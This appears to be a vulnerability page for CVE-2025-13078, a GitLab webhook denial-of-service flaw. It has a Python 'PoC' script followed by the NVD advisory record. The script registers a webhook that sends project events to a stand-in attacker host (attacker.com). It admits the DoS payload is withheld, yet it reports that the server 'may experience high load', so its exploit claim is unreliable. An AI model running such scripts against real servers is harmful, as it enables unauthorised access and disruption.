CVE-2025-13078

import requests # Exploit Title: GitLab CVE-2025-13078 PoC (Resource Consumption) # Description: Sends a malicious webhook configuration to trigger DoS. # Note: The specific payload structure causing the DoS is not disclosed here. # This script demonstrates the API endpoint usage. TARGET_URL = "https://gitlab.example.com" PRIVATE_TOKEN = "your_access_token" PROJECT_ID = "1" # Malicious configuration placeholder # Attackers would craft specific input here to trigger high resource usage. malicious_payload = { "url": "http://attacker.com/webhook", "push_events": True, "issues_events": True, # Additional fields might be required to trigger the vulnerability } headers = {"PRIVATE-TOKEN": PRIVATE_TOKEN} print(f"[+] Sending malicious webhook configuration to {TARGET_URL}...") try: response = requests.post( f"{TARGET_URL}/api/v4/projects/{PROJECT_ID}/hooks", json=malicious_payload, headers=headers ) if response.status_code == 201: print("[+] Webhook created. Server may experience high load.") else: print(f"[-] Failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2025-13078", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:26.963", "lastModified": "2026-03-26T18:29:26.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 16.10 before 18.8.7, 18.9 before 18.9.3, and 18.10 before 18.10.1 that could have allowed an authenticated user to cause a denial of service due to excessive resource consumption when processing certain webhook configuration inputs."}, {"lang": "es", "value": "GitLab ha remediado un problema en GitLab CE/EE que afecta a todas las versiones desde la 16.10 anterior a la 18.8.7, la 18.9 anterior a la 18.9.3 y la 18.10 anterior a la 18.10.1 que podría haber permitido a un usuario autenticado causar una denegación de servicio debido al consumo excesivo de recursos al procesar ciertas entradas de configuración de webhook."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "16.10.0", "versionEndExcluding": "18.8.7", "matchCriteriaId": "5EB3BAD7-BFFC-4370-87EE-D454100D4A25"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "16.10.0", "versionEndExcluding": "18.8.7", "matchCriteriaId": "36DF36AD-8660-4B56-8EF0-9C467117F89D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.3", "matchCriteriaId": "96F7E7EC-4C2E-4A48-8134-9262B251C89C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.3", "matchCriteriaId": "C3240349-67A3-43E2-BAD9-EFAA3E0A5D31"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.10.0:*:*:*:community:*:*:*", "matchCriteriaId": "D5B6ECC9-6AEA-4DD0-B12B-A3A7A9FE91DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.10.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "2B8DF779-B99E-4096-B734-78AB1849D136"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/03/25/patch-release-gitlab-18-10-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/580488", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3413704", "source": "[email protected]", "tags": ["Permissions Required"]}]}}